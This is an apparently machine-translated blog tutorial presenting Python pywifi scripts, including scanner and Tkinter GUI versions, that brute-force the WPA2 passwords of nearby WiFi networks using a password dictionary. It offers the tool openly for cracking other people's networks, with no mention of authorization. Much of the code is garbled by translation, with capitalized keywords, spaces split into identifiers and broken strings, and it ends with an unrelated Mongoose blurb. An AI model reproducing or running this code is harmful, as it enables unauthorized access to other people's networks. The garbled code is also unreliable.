Python actual combat case, pywifi module, python brutally crack WiFi password of nearby LAN

Time:2022-5-6

preface

Today, I’ll show you Python script to decipher WiFi password. Without much nonsense, let’s start directly~

development tool

Python version: 3.6.4

Related modules:

Pywifi module;

Datetime module;

And some Python’s own modules.

Environment construction

Install Python and add it to the environment variable. PIP can install the relevant modules required.

WiFi decoding source code

import pywifi
from pywifi import const
import time
import datetime


#Test the connection and return the link result
def wifiConnect(pwd):
    #Grab network card interface
    wifi = pywifi.PyWiFi()
    #Get the first wireless network card
    ifaces = wifi.interfaces()[0]
    #Disconnect all connections
    ifaces.disconnect()
    time.sleep(1)
    wifistatus = ifaces.status()
    if wifistatus == const.IFACE_DISCONNECTED:
        #Create WiFi connection file
        profile = pywifi.Profile()
        #Name of WiFi to connect
        profile.ssid = "Tr0e"
        #Open state of network card
        profile.auth = const.AUTH_ALG_OPEN
        #WiFi encryption algorithm. The general WiFi encryption algorithm is WPS
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        #Encryption unit
        profile.cipher = const.CIPHER_TYPE_CCMP
        #Call password
        profile.key = pwd
        #Delete all connected WiFi files
        ifaces.remove_all_network_profiles()
        #Set new connection file
        tep_profile = ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        #WiFi connection time
        time.sleep(2)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        Print ("existing WiFi connection")


#Read password book
def readPassword():
    success = False
    Print ("***********************************************************************
    #Password Book Path
    path = "pwd.txt"
    #Open file
    file = open(path, "r")
    start = datetime.datetime.now()
    while True:
        try:
            pwd = file.readline()
            #Remove line breaks at the end of passwords
            pwd = pwd.strip('\n')
            bool = wifiConnect(pwd)
            if bool:
                Print ("[*] password cracked:", PWD)
                Print ("[*] WiFi is automatically connected!!!")
                success = True
                break
            else:
                #Jump out of the current cycle and proceed to the next cycle
                Print ("cracking WiFi password with SSID% s, currently verified password:% s"% ("tr0e", PWD))
        except:
            continue
    end = datetime.datetime.now()
    if(success):
        Print ("[*] how long did it take to crack the WiFi password this time: {}". Format (end - start))
    else:
        Print ("[*] I'm sorry I can't help you crack the password of the currently specified WiFi. Please change the password dictionary and try again!")
    exit(0)


if __name__=="__main__":
    readPassword()

Code running effect:
Python actual combat case, pywifi module, python brutally crack WiFi password of nearby LAN

Script optimization

The above script needs to embed WiFi name and decipher dictionary path, which is lack of flexibility. The following transformation and optimization are carried out:

import pywifi
import time
from pywifi import const


#WiFi scanning module
def wifi_scan():
    #Initialize WiFi
    wifi = pywifi.PyWiFi()
    #Use the first wireless network card
    interface = wifi.interfaces()[0]
    #Start scanning
    interface.scan()
    for i in range(4):
        time.sleep(1)
        Print ('\ r scan available WiFi, please wait... (' + str (3 - I), end = '')
    Print ('\ rscan complete! \ n' + '-' * 38)
    Print ('\ R {: 4} {: 6} {}'. Format ('number ',' signal strength ',' WiFi name '))
    #Scan results, scan_ Results () returns a set containing each WiFi object
    bss = interface.scan_results()
    #A collection of WiFi names
    wifi_name_set = set()
    for w in bss:
        #Solve the problem of garbled code
        wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))
        wifi_name_set.add(wifi_name_and_signal)
    #Stored in the list and sorted by signal
    wifi_name_list = list(wifi_name_set)
    wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)
    num = 0
    #Format output
    while num < len(wifi_name_list):
        print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))
        num += 1
    print('-' * 38)
    #Return to WiFi list
    return wifi_name_list


#WiFi cracking module
def wifi_password_crack(wifi_name):
    #Dictionary path
    wifi_ dic_ Path = input ("please enter the path of the local password dictionary for WiFi brute force cracking (TXT format, each password occupies 1 line):)
    with open(wifi_dic_path, 'r') as f:
        #Traversal password
        for pwd in f:
            #Remove line breaks at the end of passwords
            pwd = pwd.strip('\n')
            #Create WiFi object
            wifi = pywifi.PyWiFi()
            #Create a network card object for the first WiFi network card
            interface = wifi.interfaces()[0]
            #Disconnect all WiFi connections
            interface.disconnect()
            #Wait for it to disconnect
            while interface.status() == 4:
                #When it is connected, use the cycle to wait for it to be disconnected
                pass
            #Create connection file (object)
            profile = pywifi.Profile()
            #WiFi name
            profile.ssid = wifi_name
            #Certification required
            profile.auth = const.AUTH_ALG_OPEN
            #WiFi default encryption algorithm
            profile.akm.append(const.AKM_TYPE_WPA2PSK)
            profile.cipher = const.CIPHER_TYPE_CCMP
            #WiFi password
            profile.key = pwd
            #Delete all WiFi connection files
            interface.remove_all_network_profiles()
            #Set up a new WiFi connection file
            tmp_profile = interface.add_network_profile(profile)
            #Start trying to connect
            interface.connect(tmp_profile)
            start_time = time.time()
            while time.time() - start_time < 1.5:
                #If the interface status is 4, the connection is successful (if the attempt time is greater than 1.5 seconds, it is the wrong password. After testing, the correct password is generally connected within 1.5 seconds. To improve the accuracy, it can be set to 2S or more, and the corresponding brute force cracking speed will slow down)
                if interface.status() == 4:
                    Print (f '\ rconnect succeeded! Password: {PWD}')
                    exit(0)
                else:
                    Print (f '\ r trying to crack with password {PWD}.', end = '')

#Main function
def main():
    #Exit Peugeot
    exit_flag = 0
    #Target number
    target_num = -1
    while not exit_flag:
        try:
            Print ('wifi master key '. Center (35,' - ')
            #Call the scanning module to return a sorted WiFi list
            wifi_list = wifi_scan()
            #Let the user select the WiFi number to be cracked, and judge and handle the number entered by the user
            choose_exit_flag = 0
            while not choose_exit_flag:
                try:
                    target_ Num = int (input ('Please select the WiFi you want to try to crack: ')
                    #If the WiFi number to be selected is in the list, continue to judge twice, otherwise re-enter it
                    if target_num in range(len(wifi_list)):
                        #Secondary confirmation
                        while not choose_exit_flag:
                            try:
                                Choose = str (input (f 'the WiFi name you choose to crack is: {wifi_list [target_num] [1]}, are you sure? (Y / N)))
                                #The user input is processed in lowercase and judged
                                if choose.lower() == 'y':
                                    choose_exit_flag = 1
                                elif choose.lower() == 'n':
                                    break
                                #Handle user input of other letters
                                else:
                                    Print ('You can only enter Y / N Oh o (*  ̄)  ̄ *) o ')
                            #Process user non alphabetic input
                            except ValueError:
                                Print ('You can only enter Y / N Oh o (*  ̄)  ̄ *) o ')
                        #Exit cracking
                        if choose_exit_flag == 1:
                            break
                        else:
                            Print ('Please re-enter (* ^ ▽ ^ *))
                except ValueError:
                    Print ('You can only enter numbers o (*  ̄)  ̄ *) o ')
            #Password cracking, pass in the WiFi name selected by the user
            wifi_password_crack(wifi_list[target_num][1])
            print('-' * 38)
            exit_flag = 1
        except Exception as e:
            print(e)
            raise e


if __name__ == '__main__':
    main()

The script runs as follows:
Python actual combat case, pywifi module, python brutally crack WiFi password of nearby LAN
The above code enumerates all WiFi names in the vicinity according to the signal strength, and allows users to choose WiFi requiring brute force cracking independently. At the same time, it can flexibly specify the dictionary of brute force cracking, which improves the sense of experience relatively. Further, you can package the above script to generate an EXE file. Double click it to run the effect as follows:
Python actual combat case, pywifi module, python brutally crack WiFi password of nearby LAN

Graphical interface

Next, Tkinter, a Python based GUI Graphical interface development library, optimizes the above script to realize a friendly visual WiFi brute force decoding interface tool.

For the syntax of Tkinter library, see:

https://www.runoob.com/python…

Simple version interface

from tkinter import *
from pywifi import const
import pywifi
import time


#Main steps:
#1. Obtain the first wireless network card
#2. Disconnect all WiFi
#3. Read the password book
#4. Set sleep time
def wificonnect(str, wifiname):
    #Window wireless object
    wifi = pywifi.PyWiFi()
    #Grab the first wireless network card
    ifaces = wifi.interfaces()[0]
    #Disconnect all WiFi
    ifaces.disconnect()
    time.sleep(1)
    if ifaces.status() == const.IFACE_DISCONNECTED:
        #Create WiFi connection file
        profile = pywifi.Profile()
        profile.ssid = wifiname
        #Encryption algorithm of WiFi
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        #WiFi password
        profile.key = str
        #Development of network card
        profile.auth = const.AUTH_ALG_OPEN
        #Encryption unit. You need to write some encryption units here, otherwise you can't connect
        profile.cipher = const.CIPHER_TYPE_CCMP
        #Delete all WiFi files
        ifaces.remove_all_network_profiles()
        #Set up a new connection file
        tep_profile = ifaces.add_network_profile(profile)
        #Connect
        ifaces.connect(tep_profile)
        time.sleep(3)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False


def readPwd():
    #Get wiif name
    wifiname = entry.get().strip()
    path = r'./pwd.txt'
    file = open(path, 'r')
    while True:
        try:
            #Read
            mystr = file.readline().strip()
            #Test connection
            bool = wificonnect(mystr, wifiname)
            if bool:
                text. Insert (end, 'correct password' + mystr)
                text.see(END)
                text.update()
                file.close()
                break
            else:
                text. Insert (end, 'wrong password' + mystr)
                text.see(END)
                text.update()
        except:
            continue


#Create window
root = Tk()
root. Title ('wifi cracking ')
root.geometry('500x400')
#Label
Label = label (root, text = 'enter WiFi name to crack:')
#Positioning
label.grid()
#Input control
Entry = entry (root, font = ('Microsoft YaHei', 14))
entry.grid(row=0, column=1)
#List control
Text = listbox (root, font = ('Microsoft YaHei', 14), width = 40, height = 10)
text.grid(row=1, columnspan=2)
#Push button
Button = button (root, text = 'start cracking', width = 20, height = 2, command = readpwd)
button.grid(row=2, columnspan=2)
#Display window
root.mainloop()

Script running effect:
Python actual combat case, pywifi module, python brutally crack WiFi password of nearby LAN

Interface upgrade

The above graphical interface does not allow the selection of password dictionary. The following is the optimization and upgrading:

from tkinter import *
from tkinter import ttk
import pywifi
from pywifi import const
import time
import tkinter. FileDialog # opens file browsing in Gui
import tkinter. MessageBox # opens tkiner's message reminder box


class MY_GUI():
    def __init__(self, init_window_name):
        self.init_window_name = init_window_name
        #Password file path
        self. get_ Value = stringvar() # set variable content
        #Get and crack WiFi account
        self.get_wifi_value = StringVar()
        #Get WiFi password
        self.get_wifimm_value = StringVar()
        #Grab network card interface
        self.wifi = pywifi.PyWiFi()
        #Grab the first wireless network card
        self.iface = self.wifi.interfaces()[0]
        #Test links break all links
        self.iface.disconnect()
        time. Sleep (1) # sleep for 1 second
        #Test whether the network card is disconnected
        assert self.iface.status() in \
               [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

    def __str__(self):
        #The function will be called automatically to return its own network card
        return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())

    #Setup window
    def set_init_window(self):
        self. init_ window_ name. Title ("WiFi cracking tool")
        self.init_window_name.geometry('+500+200')
        Labelframe = labelframe (width = 400, height = 200, text = "configuration") # frame. The following objects are added to labelframe
        labelframe.grid(column=0, row=0, padx=10, pady=10)
        self. Search = button (labelframe, text = "search WiFi nearby", command = self. Scans_wifi_list) grid(column=0, row=0)
        self. Pojie = button (labelframe, text = "start cracking", command = self. Readpassword) grid(column=1, row=0)
        self. Label = label (labelframe, text = "directory path:") grid(column=0, row=1)
        self.path = Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1)
        self. File = button (labelframe, text = "add password file directory", command = self. Add_mm_file) grid(column=2, row=1)
        self. wifi_ Text = label (labelframe, text = "WiFi account:") grid(column=0, row=2)
        self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2)
        self. wifi_ mm_ Text = label (labelframe, text = "WiFi password:") grid(column=2, row=2)
        self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2,sticky=W)
        self. wifi_ Labelframe = labelframe (text = "WiFi list")
        self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW)
        #Define tree structure and scroll bar
        self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a", "b", "c", "d"))
        self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
        self.wifi_tree.configure(yscrollcommand=self.vbar.set)
        #Table title
        self.wifi_tree.column("a", width=50, anchor="center")
        self.wifi_tree.column("b", width=100, anchor="center")
        self.wifi_tree.column("c", width=100, anchor="center")
        self.wifi_tree.column("d", width=100, anchor="center")
        self.wifi_tree.heading("a", text="WiFiID")
        self.wifi_tree.heading("b", text="SSID")
        self.wifi_tree.heading("c", text="BSSID")
        self.wifi_tree.heading("d", text="signal")
        self.wifi_tree.grid(row=4, column=0, sticky=NSEW)
        self.wifi_tree.bind("<Double-1>", self.onDBClick)
        self.vbar.grid(row=4, column=1, sticky=NS)

    #Search WiFi
    def scans_ wifi_ List (self): # scan the surrounding WiFi list
        #Start scanning
        Print ("^ ^ start scanning nearby WiFi..."
        self.iface.scan()
        time.sleep(15)
        #Obtain scan results after several seconds
        scanres = self.iface.scan_results()
        #Count the number of hot spots found nearby
        nums = len(scanres)
        Print ("quantity:% s"% (nums))
        #Actual data
        self.show_scans_wifi_list(scanres)
        return scanres

    #Display WiFi list
    def show_scans_wifi_list(self, scans_res):
        for index, wifi_info in enumerate(scans_res):
            self.wifi_tree.insert("", 'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))

    #Add password file directory
    def add_mm_file(self):
        self.filename = tkinter.filedialog.askopenfilename()
        self.get_value.set(self.filename)

    #Treeview binding event
    def onDBClick(self, event):
        self.sels = event.widget.selection()
        self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])

    #Read the password dictionary and match
    def readPassWord(self):
        self.getFilePath = self.get_value.get()
        self.get_wifissid = self.get_wifi_value.get()
        pwdfilehander = open(self.getFilePath, "r", errors="ignore")
        while True:
            try:
                self.pwdStr = pwdfilehander.readline()
                if not self.pwdStr:
                    break
                self.bool1 = self.connect(self.pwdStr, self.get_wifissid)
                if self.bool1:
                    self. Res = "[*] correct password! WiFi Name:% s, matching password:% s"% (self.get_wifi ID, self. Pwdstr)
                    self.get_wifimm_value.set(self.pwdStr)
                    tkinter. messagebox. Showinfo ('prompt ',' crack succeeded!!! ')
                    print(self.res)
                    break
                else:
                    self. Res = "[*] wrong password! WiFi Name:% s, matching password:% s"% (self.get_wifi ID, self. Pwdstr)
                    print(self.res)
                time.sleep(3)
            except:
                continue

    #Match WiFi and password
    def connect(self, pwd_Str, wifi_ssid):
        #Create WiFi link file
        self.profile = pywifi.Profile()
        self. profile. ssid = wifi_ SSID # WiFi name
        self. profile. auth = const. AUTH_ ALG_ Opening of open # network card
        self. profile. akm. Append (const.akm_type_wpa2psk) # WiFi encryption algorithm
        self. profile. cipher = const. CIPHER_ TYPE_ CCMP # encryption unit
        self. profile. key = pwd_ STR # password
        self. iface. remove_ all_ network_ Profiles() # delete all WiFi files
        self. tmp_ profile = self. iface. add_ network_ Profile (self. Profile) # set a new linked file
        self. iface. Connect (self. Tmp# profile) # link
        time.sleep(5)
        if self. iface. status() == const. IFACE_ Connected: # judge whether it is connected
            isOK = True
        else:
            isOK = False
        self. iface. Disconnect() # disconnect
        time.sleep(1)
        #Check disconnection status
        assert self.iface.status() in \
               [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
        return isOK


def gui_start():
    init_window = Tk()
    ui = MY_GUI(init_window)
    print(ui)
    ui.set_init_window()
    init_window.mainloop()


if __name__ == "__main__":
    gui_start()

The script runs as follows:
Python actual combat case, pywifi module, python brutally crack WiFi password of nearby LAN

Recommended Today

Mongoose The difference between save() / update() / findoneandupdate()

Advertising mongoose Chinese document translation recruitmenthttps://github.com/ssshooter/… . save() and update() Update is more efficient than save () after find, because it doesn’t need to read the whole document. Mongoose update is mongodb update, but mongoose save may be mongodb insert or update. As for save, mongoose will automatically diff the new document and only change […]